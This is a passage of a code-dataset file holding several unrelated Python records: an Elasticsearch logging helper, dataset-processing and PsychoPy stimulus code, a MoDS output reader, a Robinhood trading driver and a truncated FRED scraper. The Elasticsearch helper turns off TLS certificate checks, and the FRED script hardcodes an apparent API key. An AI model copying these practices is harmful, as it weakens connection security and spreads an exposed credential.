type_header = clean_header(TYPE_HEADER_NAME, headers)\n if type_header.startswith(\"io.seldon.serving\") or type_header.startswith(\"seldon\"):\n return \"seldon\"\n elif type_header.startswith(\"org.kubeflow.serving\"):\n return \"inferenceservice\"\n\ndef get_header(header_name, headers):\n if headers.get(header_name):\n return clean_header(header_name, headers)\n\ndef field_from_header(content, header_name, headers):\n if headers.get(header_name):\n content[header_name] = clean_header(header_name, headers)\n\n\ndef clean_header(header_name, headers):\n header_val = headers.get(header_name)\n if header_val:\n header_val = header_val.translate({ord(c): None for c in '!@#$\"<>/?'})\n return header_val\n\n\ndef connect_elasticsearch():\n _es = None\n elastic_host = os.getenv(\"ELASTICSEARCH_HOST\", \"localhost\")\n elastic_port = os.getenv(\"ELASTICSEARCH_PORT\", 9200)\n elastic_protocol = os.getenv(\"ELASTICSEARCH_PROTOCOL\", \"http\")\n elastic_user = os.getenv(\"ELASTICSEARCH_USER\")\n elastic_pass = os.getenv(\"ELASTICSEARCH_PASS\")\n elastic_token = os.getenv(\"ELASTICSEARCH_TOKEN\")\n\n connection_string = elastic_protocol + \"://\"\n\n if elastic_user and elastic_pass:\n connection_string = connection_string + elastic_user + \":\" + elastic_pass + \"@\"\n\n connection_string = connection_string + elastic_host + \":\" + str(elastic_port)\n headers = None\n\n if elastic_token:\n headers = {\"Authorization\": \"Bearer \" + elastic_token}\n\n _es = Elasticsearch(\n connection_string,\n verify_certs=False,\n connection_class=RequestsHttpConnection,\n headers=headers,\n retry_on_timeout=True,\n timeout=30,\n )\n if _es.ping():\n print(\"Connected to Elasticsearch\")\n sys.stdout.flush()\n else:\n print(\"Could not connect to Elasticsearch\")\n sys.stdout.flush()\n sys.exit(-1)\n return _es\n\n\nclass NumpyEncoder(json.JSONEncoder):\n def default(self, obj): # pylint: disable=arguments-differ,method-hidden\n if isinstance(\n obj,\n (\n np.int_,\n np.intc,\n np.intp,\n np.int8,\n np.int16,\n np.int32,\n np.int64,\n np.uint8,\n np.uint16,\n np.uint32,\n np.uint64,\n ),\n ):\n return int(obj)\n elif isinstance(obj, (np.float_, np.float16, np.float32, np.float64)):\n return float(obj)\n elif isinstance(obj, (np.ndarray,)):\n return obj.tolist()\n return json.JSONEncoder.default(self, obj)\n","sub_path":"components/seldon-request-logger/app/log_helper.py","file_name":"log_helper.py","file_ext":"py","file_size_in_byte":8224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"492832981","text":"\"\"\"Process the raw eNTERFACE dataset.\n\nThis assumes the file structure from the original compressed file:\n/.../\n subject 1/\n anger/\n sentence 1/\n *.avi\n ...\n ...\n ...\n\"\"\"\n\nimport shutil\nfrom pathlib import Path\n\nimport click\n\nfrom ertk.dataset import resample_audio, write_annotations, write_filelist\n\nemotion_map = {\n \"an\": \"anger\",\n \"di\": \"disgust\",\n \"fe\": \"fear\",\n \"ha\": \"happiness\",\n \"sa\": \"sadness\",\n \"su\": \"surprise\",\n}\n\n\n@click.command()\n@click.argument(\n \"input_dir\", type=click.Path(exists=True, file_okay=False, path_type=Path)\n)\n@click.option(\"--resample/--noresample\", default=True)\ndef main(input_dir: Path, resample: bool):\n \"\"\"Process the eNTERFACE dataset at location INPUT_DIR and convert\n AVI to 16 kHz 16-bit WAV audio.\n \"\"\"\n paths = list(input_dir.glob(\"**/*.avi\"))\n resample_dir = Path(\"resampled\")\n\n if resample:\n # Correct duplicate names for subject 11 separately\n sub11 = [p for p in paths if \"subject 11\" in p.parts]\n resample_audio(sub11, resample_dir)\n for f in resample_dir.glob(\"s12*\"):\n shutil.move(f, f.with_name(f.name.replace(\"s12\", \"s11\")))\n\n rest = [p for p in paths if \"subject 11\" not in p.parts]\n resample_audio(rest, resample_dir)\n\n # More manual corrections\n shutil.move(\"resampled/s16_su_3avi.wav\", \"resampled/s16_su_3.wav\")\n for f in resample_dir.glob(\"s_3_*\"):\n shutil.move(f, f.with_name(f.name.replace(\"s_3\", \"s3\")))\n\n newpaths = list(resample_dir.glob(\"*.wav\"))\n write_filelist([p for p in newpaths], \"files_all\")\n write_filelist([p for p in newpaths if not p.stem.startswith(\"s6_\")], \"files_no_s6\")\n write_annotations(\n {\n p.stem: emotion_map[p.stem[p.stem.find(\"_\") + 1 : p.stem.find(\"_\") + 3]]\n for p in newpaths\n },\n \"label\",\n )\n write_annotations({p.stem: p.stem[: p.stem.find(\"_\")] for p in newpaths}, \"speaker\")\n write_annotations({p.stem: \"en\" for p in newpaths}, \"language\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"datasets/eNTERFACE/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"252006725","text":"import numpy as np\nimport psychopy\nfrom psychopy.visual import Line, GratingStim, TextStim, RadialStim, ElementArrayStim\nfrom psychopy.visual.filters import makeMask\nfrom psychopy.tools.unittools import radians\nfrom psychopy.tools.attributetools import setAttribute, attributeSetter\n\nclass ImageBased(object):\n\n def __init__(self,\n win,\n size,\n pos,\n ori=0,\n contrast=1,\n hide=False,\n *args,\n **kwargs):\n\n self.win = win\n self.size = size\n\n self._array, self._mask = self._get_array()\n\n self._stim = psychopy.visual.ImageStim(\n self.win,\n self._array,\n size=size,\n pos=pos,\n mask=self._mask,\n ori=ori,\n *args,\n **kwargs)\n\n self.contrast = contrast\n\n self.hide = hide\n self.autoLog = False\n\n def draw(self):\n if not self.hide:\n self._stim.draw()\n\n def _get_array(self):\n pass\n\n @attributeSetter\n def opacity(self, opacity):\n self._stim.opacity = opacity\n\n @property\n def contrast(self):\n return self._stim.contrast\n\n @contrast.setter\n def contrast(self, value):\n self._stim.contrast = value\n\n @property\n def ori(self):\n return self._stim.ori\n\n @ori.setter\n def ori(self, value):\n self._stim.ori = value\n\n def setOri(self, value):\n self.ori = value\n\nclass CheckerBoard(ImageBased):\n \"\"\"Create an instance of a `Checkerboard` object.\n Parameters\n ----------\n win : (psychopy.visual.Window) window in which to display stimulus\n side_len : (int) number of rings in radial checkerboard\n inverted : (bool) if true, invert black and white squares\n size : (numeric) size of checkerboard\n kwds : keyword arguments to psychopy.visual.ImageStim\n \"\"\"\n\n def __init__(self,\n win,\n pos,\n side_len=8,\n inverted=False,\n size=16,\n mask=None,\n ori=0,\n *args,\n **kwargs):\n\n self.side_len = side_len\n self.inverted = inverted\n\n super(CheckerBoard, self).__init__(win, size, pos, ori=ori, *args, **kwargs)\n\n def _get_array(self, mask='circle', upscale=None):\n \"\"\"Return square `np.ndarray` of alternating ones and negative ones\n with shape `(self.side_len, self.side_len)`.\"\"\"\n board = np.ones((self.side_len, self.side_len), dtype=np.int32)\n board[::2, ::2] = -1\n board[1::2, 1::2] = -1\n\n if upscale is None:\n upscale = np.ceil(self.size / self.side_len)\n\n if upscale != 1:\n board = np.repeat(np.repeat(board, upscale, axis=0),\n upscale, axis=1)\n\n if mask is not None:\n mask = makeMask(board.shape[0],\n 'raisedCosine')\n\n\n board = board if not self.inverted else board * -1\n\n return board, mask\n\n\nclass Rim(ImageBased):\n\n def __init__(self, win,\n inner_radius,\n outer_radius,\n n_bars,\n pos,\n *args,\n **kwargs):\n\n self.inner_radius = inner_radius\n self.outer_radius = outer_radius\n self.n_bars = n_bars\n\n super(Rim, self).__init__(win, \n size=outer_radius*2+1,\n pos=pos,\n *args,\n **kwargs)\n\n def _get_array(self):\n x = np.linspace(-self.outer_radius,\n self.outer_radius,\n int(2*self.outer_radius+1))\n\n y = np.linspace(-self.outer_radius,\n self.outer_radius,\n int(2*self.outer_radius+1))\n\n xv, yv = np.meshgrid(x, y)\n \n rim = np.round(np.arctan2(xv, yv) / np.pi * self.n_bars/2) % 2 * 2 - 1\n\n\n rad = xv**2+yv**2\n mask = (rad > self.inner_radius**2) & (rad < self.outer_radius**2)\n mask = mask.astype(float)\n\n mask = mask * 2 - 1\n\n return rim, mask\n\nclass Cross(object):\n\n def __init__(self,\n win,\n width, \n pos=[0,0],\n ori=0,\n height=None, \n lineWidth=1,\n *args,\n **kwargs):\n\n if height is None:\n height = width\n \n #if ori != 0:\n #raise NotImplementedError()\n\n ori = radians(ori)\n\n pos1 = np.array([-np.cos(ori)*width/2, np.sin(ori)*height/2])\n pos1 += pos\n pos2 = np.array([np.cos(ori)*width/2, -np.sin(ori)*height/2])\n pos2 += pos\n\n pos3 = np.array([np.sin(ori)*width/2, np.cos(ori)*height/2])\n pos3 += pos\n pos4 = np.array([-np.sin(ori)*width/2, -np.cos(ori)*height/2])\n pos4 += pos\n\n self.line1 = Line(win,\n start=pos1,\n end=pos2,\n lineWidth=lineWidth,\n *args,\n **kwargs)\n\n self.line2 = Line(win,\n start=pos3,\n end=pos4,\n lineWidth=lineWidth,\n *args,\n **kwargs)\n\n def draw(self):\n self.line1.draw()\n self.line2.draw()\n\n\nclass CheckerBoardCross(ImageBased):\n\n def __init__(self,\n win,\n size,\n pos=[0,0],\n ori=0,\n side_len=16,\n n_blocks=2,\n inverted=False,\n ratio_inner_circle=1.5,\n height=None):\n \n if (side_len % 2 == 0) & (n_blocks % 2 == 1):\n raise ValueError('side_len should be even!')\n\n if (side_len % 2 == 1) & (n_blocks % 2 == 0):\n raise ValueError('side_len should be uneven!')\n \n self.side_len = side_len\n self.n_blocks = n_blocks\n self.inverted = inverted\n\n self.ratio_inner_circle = ratio_inner_circle\n \n super(CheckerBoardCross, self).__init__(win,\n size,\n pos,\n ori)\n \n\n def _get_array(self, upscale=None):\n \"\"\"Return square `np.ndarray` of alternating ones and negative ones\n with shape `(self.side_len, self.side_len)`.\"\"\"\n board = np.ones((self.side_len, self.side_len), dtype=np.int32)\n board[::2, ::2] = -1\n board[1::2, 1::2] = -1\n\n cross = np.ones((self.side_len, self.side_len)) * -1\n\n low_ix = self.side_len / 2 - self.n_blocks / 2\n high_ix = low_ix + self.n_blocks\n\n cross[low_ix:high_ix, :] = 1\n cross[:, low_ix:high_ix] = 1\n\n if upscale is None:\n upscale = np.ceil(self.size / self.side_len)\n\n if upscale != 1:\n board = np.repeat(np.repeat(board, upscale, axis=0),\n upscale, axis=1)\n cross = np.repeat(np.repeat(cross, upscale, axis=0),\n upscale, axis=1)\n\n x = np.linspace(-1, 1, board.shape[0])\n y = np.linspace(-1, 1, board.shape[1])\n\n xv, yv = np.meshgrid(x, y)\n mask = (xv**2 + yv**2 > self.ratio_inner_circle)\n\n board[cross == -1] = -1\n board = board if not self.inverted else board * -1\n\n mask = mask * 2 - 1\n\n return board, mask\n\nclass FixationPoint(object):\n\n def __init__(self,\n win,\n pos,\n size,\n color=(1,0,0)):\n\n self.screen = win\n\n self.fixation_stim1 = GratingStim(win,\n sf=0,\n color=[1, 1, 1],\n mask='circle',\n pos=pos,\n size=size)\n\n self.fixation_stim2 = GratingStim(win,\n sf=0,\n color=[-1, -1, -1],\n mask='circle',\n pos=pos,\n size=0.66*size)\n\n\n\n self.fixation_stim3 = GratingStim(win,\n sf=0,\n color=color,\n mask='circle',\n pos=pos,\n size=0.33*size)\n def draw(self):\n self.fixation_stim1.draw()\n self.fixation_stim2.draw()\n self.fixation_stim3.draw()\n\nclass StimulusSet(object):\n\n\n def __init__(self,\n win,\n pos,\n size,\n session,\n ori=0,\n side_len=12,\n checkerboard_type='square',\n hide=False):\n\n self.screen = win\n self.config = session.config\n self.session = session\n\n self.size = self.session.deg2pix(size)\n self.pos = [self.session.deg2pix(pos[0]), self.session.deg2pix(pos[1])]\n\n self.ori = ori\n\n self.hide = hide\n\n checkerboard_size = self.size / self.config.get('checker_cross', 'ratio_to_circle')\n\n\n if checkerboard_type == 'square':\n self.checkerboard = CheckerBoard(self.screen,\n size=checkerboard_size,\n side_len=side_len,\n pos=self.pos,\n ori=ori)\n elif checkerboard_type == 'radial':\n mask = makeMask(checkerboard_size,\n 'raisedCosine',\n range=(0,1))\n\n mask = mask[int(checkerboard_size/2), int(checkerboard_size/2):]\n self.checkerboard = RadialStim(self.screen,\n mask=mask,\n pos=self.pos,\n size=checkerboard_size,\n angularCycles=side_len,\n radialCycles=side_len /4)\n\n elif checkerboard_type == 'none':\n self.checkerboard = GratingStim(self.screen,\n opacity=0)\n\n else:\n ValueError('{} is not a valid checkerboard type'.format(checkerboard_type))\n\n\n rim_radius = self.size / 2 / self.config.get('checker_cross',\n 'ratio_to_circle') - 1\n\n self.rim = Rim(self.screen,\n rim_radius,\n rim_radius * self.config.get('rim', 'rim_ratio'),\n self.config.get('rim', 'n_parts'),\n pos=self.pos,\n contrast=self.config.get('rim', 'contrast'),\n ori=ori)\n\n ratio_inner_circle = 1 / self.config.get('checker_cross', 'ratio_to_circle') /\\\n self.config.get('rim', 'rim_ratio') \n\n self.check_cross = CheckerBoardCross(self.screen,\n self.size,\n side_len=32,\n n_blocks=4,\n pos=self.pos,\n ratio_inner_circle=ratio_inner_circle,\n ori=ori)\n\n fixation_size = self.config.get('fixation', 'proportion') * self.size\n\n self.fixation = FixationPoint(self.screen,\n self.pos,\n fixation_size)\n\n def draw(self):\n if not self.hide:\n self.check_cross.draw()\n self.checkerboard.draw()\n self.rim.draw()\n self.fixation.draw()\n\nclass StimulusSetToPosition(StimulusSet):\n\n def __init__(self,\n win,\n pos,\n size,\n session,\n ori=0,\n hide=False,\n text=''):\n\n super(StimulusSetToPosition, self).__init__(win,\n pos=pos,\n size=size,\n session=session,\n ori=ori,\n hide=hide)\n\n lw = self.session.deg2pix(self.config.get('cross', 'linewidth'))\n\n self.cross = Cross(self.screen,\n self.size,\n pos=self.pos,\n lineColor=self.config.get('cross', 'color'),\n lineWidth=lw,\n ori=ori,\n )\n\n self.text_stimulus = TextStim(self.screen,\n 'size left',\n pos=[self.pos[0],\n self.pos[1] + 0.1 * self.size],\n height=self.size*0.05,\n ori=self.ori,\n color='green')\n\n self.checkerboard.contrast = 0\n\n\n def draw(self):\n super(StimulusSetToPosition, self).draw()\n if not self.hide:\n self.cross.draw()\n self.text_stimulus.draw()\n\n def set_text(self, text):\n self.text_stimulus.text = text\n\nclass PRFStim(object):\n def __init__(self,\n screen,\n pos,\n size,\n session,\n orientation,\n parameters,\n aperture='circle'):\n\n self.session = session\n self.screen = screen\n\n self.aperture = aperture\n\n self.size_pix = self.session.deg2pix(size)\n self.pos = [self.session.deg2pix(pos[0]), self.session.deg2pix(pos[1])]\n\n self.orientation = radians(orientation) # convert to radians immediately, and use to calculate rotation matrix\n self.rotation_matrix = np.array([[np.cos(self.orientation), -np.sin(self.orientation)],\n [np.sin(self.orientation), np.cos(self.orientation)]])\n\n self.parameters = parameters\n\n self.RG_color = self.parameters['RG_color']\n self.BY_color = self.parameters['BY_color']\n\n self.fast_speed = self.parameters['fast_speed']\n self.slow_speed = self.parameters['slow_speed']\n \n self.bar_width = self.parameters['bar_width_ratio'] * self.size_pix\n self.bar_length = self.size_pix\n\n self.num_elements = self.parameters['num_elements']\n \n self.bar_pass_duration = self.parameters['bar_pass_duration']\n\n self.full_width = self.size_pix + self.bar_width# + self.session.deg2pix(self.parameters['element_size'])\n\n # this is for determining ecc, which we make dependent on largest screen dimension\n\n self.phase = 0\n # bookkeeping variables\n self.eccentricity_bin = -1\n self.redraws = 0\n self.frames = 0\n\n # psychopy stimuli\n self.populate_stimulus()\n\n # create the stimulus\n self.element_array = ElementArrayStim(screen,\n nElements=self.parameters['num_elements'],\n sizes=self.element_sizes,\n sfs=self.element_sfs,\n xys=self.element_positions,\n colors=self.colors,\n colorSpace='rgb',\n units='pix')\n\n\n def convert_sample(self,in_sample):\n return 1 - (1/(np.e**in_sample+1))\n \n def populate_stimulus(self):\n\n RG_ratio = 0.5\n BY_ratio = 0.5\n fast_ratio = 0.5\n slow_ratio = 0.5\n\n # set the default colors\n self.colors = np.ones((self.num_elements,3)) * 0.5\n self.fix_gray_value = self.session.background_color\n\n # and change them if a pulse is wanted\n\n # Now set the actual stimulus parameters\n self.colors = np.concatenate((np.ones((int(np.round(self.num_elements*RG_ratio/2.0)),3)) * np.array([1,-1,0]) * self.RG_color, # red/green - red\n np.ones((int(np.round(self.num_elements*RG_ratio/2.0)),3)) * np.array([-1,1,0]) * self.RG_color, # red/green - green\n np.ones((int(np.round(self.num_elements*BY_ratio/2.0)),3)) * np.array([-1,-1,1]) * self.BY_color, # blue/yellow - blue\n np.ones((int(np.round(self.num_elements*BY_ratio/2.0)),3)) * np.array([1,1,-1]) * self.BY_color)) # blue/yellow - yellow\n\n \n np.random.shuffle(self.colors)\n\n # but do update all other stim parameters (regardless of pulse)\n self.element_speeds = np.concatenate((np.ones(int(np.round(self.num_elements*fast_ratio))) * self.parameters['fast_speed'],\n np.ones(int(np.round(self.num_elements*slow_ratio))) * self.parameters['slow_speed']))\n np.random.shuffle(self.element_speeds)\n\n self.element_positions = np.random.rand(self.num_elements, 2) * \\\n np.array([self.bar_length, self.bar_width]) - \\\n np.array([self.bar_length/2.0, self.bar_width/2.0])\n\n # self.element_sfs = np.ones((self.num_elements)) * self.session.element_spatial_frequency']\n self.element_sfs = np.random.rand(self.num_elements) * (1./self.session.deg2pix(1./self.parameters['element_spatial_frequency']))\n self.element_sizes = np.ones(self.num_elements) * self.session.deg2pix(self.parameters['element_size'])\n self.element_phases = np.zeros(self.num_elements)\n self.element_orientations = np.random.rand(self.num_elements) * 720.0 - 360.0\n\n self.lifetimes = np.random.rand(self.num_elements) * self.parameters['element_lifetime']\n\n def draw(self, phase=0):\n\n self.phase = phase\n self.frames += 1\n\n to_be_redrawn = self.lifetimes < phase\n self.element_positions[to_be_redrawn] = np.random.rand(to_be_redrawn.sum(), 2) \\\n * np.array([self.bar_length, self.bar_width]) \\\n - np.array([self.bar_length/2.0, self.bar_width/2.0])\n\n self.lifetimes[to_be_redrawn] += np.random.rand(to_be_redrawn.sum()) * self.parameters['element_lifetime']\n\n # define midpoint\n self.midpoint = phase * self.full_width - 0.5 * self.full_width\n\n self.element_array.setSfs(self.element_sfs)\n self.element_array.setSizes(self.element_sizes)\n self.element_array.setColors(self.colors)\n self.element_array.setOris(self.element_orientations)\n delta_pos = np.array([0, -self.midpoint]).dot(self.rotation_matrix)\n\n xys = self.element_positions.dot(self.rotation_matrix) + delta_pos\n self.element_array.setXYs(xys + self.pos)\n\n if self.aperture == 'circle':\n self.element_array.setOpacities(np.sqrt((xys**2).sum(1)) < self.full_width / 2)\n\n self.element_array.setPhases(self.element_speeds * self.phase * self.bar_pass_duration + self.element_phases)\n\n if self.parameters['stim_bool']:\n self.element_array.draw()\n\nclass BinocularPRFStim(PRFStim):\n def __init__(self,\n screen,\n pos,\n size,\n session,\n orientation,\n parameters):\n\n super(BinocularPRFStim, self).__init__(screen,\n pos[0],\n size[0],\n session,\n orientation[0],\n parameters)\n\n self.pos2 = [self.session.deg2pix(pos[1][0]), self.session.deg2pix(pos[1][1])]\n self.size_pix2 = self.session.deg2pix(size[1])\n self.orientation2 = radians(orientation[1])\n\n self.rotation_matrix2 = np.array([[np.cos(self.orientation2), -np.sin(self.orientation2)],\n [np.sin(self.orientation2), np.cos(self.orientation2)]])\n\n\n self.scaling = self.size_pix2 / self.size_pix\n\n self.rotation_matrix2 = self.rotation_matrix2 * self.scaling\n\n\n def draw(self, phase=0):\n\n super(BinocularPRFStim, self).draw(phase=phase)\n\n self.element_array.setSfs(self.element_sfs * self.scaling)\n self.element_array.setSizes(self.element_sizes * self.scaling)\n self.element_array.setOris(self.element_orientations)\n\n delta_pos = np.array([0, -self.midpoint]).dot(self.rotation_matrix2)\n\n self.element_array.setXYs(self.element_positions.dot(self.rotation_matrix2) + delta_pos + self.pos2)\n self.element_array.setPhases(self.element_speeds * self.phase * self.bar_pass_duration + self.element_phases)\n\n if self.parameters['stim_bool']:\n self.element_array.draw()\n","sub_path":"expt/stimuli.py","file_name":"stimuli.py","file_ext":"py","file_size_in_byte":21646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"636688925","text":"import csv\nfrom glob import glob\n\nimport numpy as np\nimport os.path\nimport pdb\nimport xml.etree.ElementTree as ET\n\n#=================================================================================================#\nclass mods_outputs:\n def __init__(self,root_dir):\n self.root_dir = root_dir\n self.data = {}\n self.cad_profile_subtypes = []\n \n def _get_ncases(self,algorithm):\n algorithm_dir = \"%s\\%s\" % (self.root_dir,algorithm)\n dir_contents = glob(\"%s\\*\" % algorithm_dir)\n \n for path in dir_contents:\n if os.path.isdir(path):\n subdir_contents = glob(\"%s\\*\" % path)\n Ncases = 0\n for subdir_path in subdir_contents:\n if 'case_' in subdir_path:\n Ncases += 1\n if Ncases > 0: return Ncases\n print('Failed to detect Ncases')\n return -1\n \n def _get_nruns(self,algorithm):\n of_data_key = self._get_data_key(algorithm,'OF')\n if of_data_key not in self.data:\n self._read_objective_function(algorithm)\n return (self.data[of_data_key])['nRun'].size\n \n def _get_data_key(self,algorithm,subtype):\n return \"%s_%s\" % (algorithm,subtype)\n \n def _read_objective_function(self,algorithm):\n fname = \"%s\\%s\\%s_OF.csv\" % (self.root_dir,algorithm,algorithm)\n \n data = np.genfromtxt(fname,names=True,delimiter=',',deletechars='',dtype=None)\n data.dtype.names = [name.lstrip('subtype_') for name in data.dtype.names]\n self.OF_type = data.dtype.names[1]\n data_key = self._get_data_key(algorithm,'OF')\n self.data[data_key] = data\n \n def _read_subtype(self,algorithm,subtype):\n subtype_fname = \"%s\\%s\\%s_subtype_%s.csv\" % (self.root_dir,algorithm,algorithm,subtype)\n subtype_data_key = self._get_data_key(algorithm,subtype)\n subtype_data = np.loadtxt(subtype_fname,skiprows=1,delimiter=',')\n self.data[subtype_data_key] = subtype_data\n\n if 'Pressure' in subtype: self.cad_profile_subtypes.append(subtype)\n \n if subtype in self.cad_profile_subtypes: # Also read CAD list for profiles\n cad_fname = \"%s\\Initial\\cad_model.csv\" % self.root_dir \n cad_data_key = self._get_data_key(algorithm,'cad')\n cad_data = np.loadtxt(cad_fname,skiprows=0,delimiter=',')\n self.data[cad_data_key] = cad_data\n \n def get_OF_data(self,algorithm):\n of_data_key = self._get_data_key(algorithm,'OF')\n if of_data_key not in self.data:\n self._read_objective_function(algorithm)\n return self.data[of_data_key]\n \n def get_subtype_data(self,algorithm,subtype,cases=None,nbest=None,nlast=None):\n subtype_data_key = self._get_data_key(algorithm,subtype)\n if subtype_data_key not in self.data:\n self._read_subtype(algorithm,subtype)\n all_data = self.data[subtype_data_key]\n if all_data.ndim != 2: pdb.set_trace() # Not setup to handle data of this shape\n Nruns = self._get_nruns(algorithm)\n if all_data.shape[0] != Nruns: pdb.set_trace() # Not setup to handle data of this shape\n # Choose one or more runs\n if nbest:\n of_data_key = self._get_data_key(algorithm,'OF')\n if of_data_key not in self.data:\n self._read_objective_function(algorithm)\n \n best_idx = (self.data[of_data_key])[self.OF_type].argsort()[:nbest]\n data_all_cases = all_data[best_idx,:]\n elif nlast:\n data_all_cases = all_data[-nlast:,:]\n else:\n data_all_cases = all_data\n # Choose one or more cases\n if cases is not None:\n if isinstance(cases, list) or isinstance(cases, tuple):\n case_indices = [c - 1 for c in list(cases)]\n else:\n case_indices = [cases - 1]\n \n Ncases = self._get_ncases(algorithm)\n if data_all_cases.ndim == 1:\n if data_all_cases.size != Ncases:\n data = data_all_cases[:,case_indices]\n elif data_all_cases.ndim == 2:\n \n Ntot = data_all_cases.shape[1]\n if Ntot % Ncases: pdb.set_trace() \n Nprof = Ntot/Ncases\n for ii,icase in enumerate(case_indices):\n case_prof = np.squeeze(data_all_cases[:,icase*Nprof:(icase+1)*Nprof])\n if (ii==0):\n data = case_prof\n elif (ii==1):\n if (data.size != case_prof.size): pdb.set_trace()###\n data = np.append([data],[case_prof],0)\n else:\n data = np.append(data,[case_prof],0)\n else:\n data = data_all_cases\n pdb.set_trace()####\n data = np.squeeze(data)\n \n if subtype in self.cad_profile_subtypes:\n cad_data_key = self._get_data_key(algorithm,'cad')\n cad_data = self.data[cad_data_key]\n # Fudge to handle one element length difference in CAD values, profiles\n if data.size % cad_data.size != 0:\n if data.size % (cad_data.size-1) != 0:\n print(\"Can't reconcile number of elements in CAD data, profile!\")\n pdb.set_trace()\n else:\n cad_data = cad_data[1:] - (cad_data[1]-cad_data[0])/2\n return {'cad':cad_data, 'profile':data}\n else:\n return data\n#=================================================================================================# \n\n#=================================================================================================#\nclass mods_input:\n def __init__(self,root_dir):\n raise Exception('Unfinished!')\n self.root_dir = root_dir\n self.fname = root_dir + \"\\Working_dir\\MoDS_inputs.xml\"\n self.read()\n def read(self):\n tree = ET.parse(self.fname)\n root = tree.getroot()\n #namespaces = dict([node for _, node in ET.iterparse(StringIO(my_schema), events=['start-ns'])])\n namespaces = {'': 'http://como.cheng.cam.ac.uk/MoDS'}\n algs = root.findall('algorithms', namespaces)\n #print(top_lev)\n pdb.set_trace()###\n def __str__(self):\n return \"MoDS input file read from %s\" % self.fname\n#=================================================================================================#\n","sub_path":"cmcl/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":6602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440519370","text":"\"\"\"\n Author : Snehasish\n Date : Nov 13, 2017\n Description : The launcher and orchestrator\n\n Pre : launcher.sh\n Post : Scheduler\n Log : stdout, stderr\n\n RE_ENTRY SAFE - Does not use global state variables.\n - Can be invoked multiple times to drive multiple algos\n - python rh_driver_v3.py algo_name algo_mode\n - python rh_driver_v3.py vxx_test_v11_rh_v3_copy SAFE\n\n ALGO_MODE - ALL_LIVE | ALL_SIM | SAFE_LIVE | SAFE_SIM | PROD | TEST\n\"\"\"\n\nfrom datetime import date, datetime, timedelta\nfrom Logging import Logger, LocalLogger\nfrom RobinhoodApi import RobinhoodApi as RHAPI\nfrom scheduler import Scheduler\nimport sys\nfrom time_rules import TimeRules\n\nclass Context(object):\n def __init__(self):\n pass\n\nclass Data(object):\n def __init__(self):\n pass\n\ndef get_open_close_time(mode, api):\n if mode == 'PROD' or mode.endswith('LIVE'):\n # For 'PROD', 'TEST_LIVE' and 'SAFE' modes,\n # use actual market open and close times.\n today_date = datetime.now().date()\n time_rules = TimeRules(api)\n open_time = time_rules.market_open(0, 0)(today_date)\n close_time = time_rules.market_close(0, 0)(today_date)\n close_time_10 = time_rules.market_close(0, -10)(today_date)\n return open_time, close_time, close_time_10\n elif mode == 'TEST' or mode.endswith('SIM'):\n # For '*_SIM' mode, use simulated\n # open , close times so that scheduler starts\n now = datetime.now()\n start = now + timedelta(minutes = 2)\n end = start + timedelta(minutes = 3)\n close_time_5 = end - timedelta(minutes = 1)\n open_time = start.strftime(\"%Y:%m:%d:%H:%M\")\n close_time = end.strftime(\"%Y:%m:%d:%H:%M\")\n close_time_5 = close_time_5.strftime(\"%Y:%m:%d:%H:%M\")\n return open_time, close_time, close_time_5\n else:\n return None, None, None\n\ndef driver(_log, log, algo_name, mode):\n # Starting driver and initializing api\n log.info(\"Initializing api...\")\n api = RHAPI(_log)\n log.info(\"Api initializing complete.\")\n\n # Fetching today's market times\n log.info(\"Fetching today's market time rules\")\n open_time, close_time, close_time_10 = get_open_close_time(mode, api)\n if open_time is None or close_time is None:\n log.info(\"Could not fetch market open and close times for today. Market may be closed. Quitting\")\n quit(1)\n log.info(\"Today's market hours are from %s to %s\" % (open_time, close_time))\n\n # Initialize context, data, algo\n log.info(\"Initializing context, data and algo\")\n context = Context()\n context.api = api\n data = Data()\n algo = __import__(algo_name)\n algo.log = LocalLogger(_log, \"ALGO %s\" % algo_name)\n algo.mode = mode\n log.info(\"Done initializing context, data and algo\")\n\n # Set up the scheduler\n log.info(\"Preparing the scheduler...\")\n scheduler = Scheduler(_log, context, data)\n scheduler.schedule_function(algo.before_trading_start, \"before-start\")\n scheduler.schedule_function(algo.handle_data, \"every-tick\")\n scheduler.schedule_function(algo.n_minutes_b4_eod, close_time_10)\n scheduler.schedule_function(algo.eod, \"after-end\")\n log.info(\"Done preparing the scheduler. Now running it...\")\n\n # Starting the scheduler\n scheduler.start(open_time, close_time)\n\n # All done. Quit\n log.info(\"All done. Driver stopped for today\")\n\nif __name__ == \"__main__\":\n driver_name = sys.argv[0].split(\".py\")[0]\n _log = Logger()\n log = LocalLogger(_log, \"DRIVER %s\" % driver_name)\n log.info(\"Driver Started\")\n argc = len(sys.argv)\n if argc != 3:\n log.info(\"Usage: python %s.py algo_name mode\" % driver_name)\n quit(1)\n algo_name = sys.argv[1]\n mode = sys.argv[2]\n log.info(\"algo_name:%s, mode:%s\" % (str(algo_name), str(mode)))\n driver(_log, log, algo_name, mode)\n\n\n\n\n","sub_path":"robinhood_codes/folder/rh_driver_v3.py","file_name":"rh_driver_v3.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"259294753","text":"from fredapi import Fred\nimport pandas as pd\nimport json\n\nfred = Fred(api_key='b1a18826bad1f7a681246d3dc256cfab')\n\n\n#scrape metadata\nmetadata = fred.search_by_category(33446)\n\n# scraping data\nid = metadata['id']\ndata_df = pd.DataFrame()\ndata1 = pd.DataFrame()\nfor i in id:\n data_df[i] = fred.get_series(i)\n pd.concat([data1,data_df])\n\nmetadata = metadata.dt.tz_localize(None)\n\n\n\n# Converting metadata and data into json serialized data\n#store metadata into json \nmetadata_response = metadata.to_json(orient='records')\n# to load and show json (metadata)\nmetadata_parsed = json.loads(metadata_response)\njson.dumps(metadata_parsed, indent=4) \n\n#store data into json \nresult = data_df.to_json(orient='records')\n#to load and show json (data)\nparsed = json.loads(result)\njson.dumps(parsed, indent=4) \n\n# Functions for main and __init__\n\ndef scrape_excel():\n print(\"\\nsaving metadata as metadata.xlsx\\n\")\n 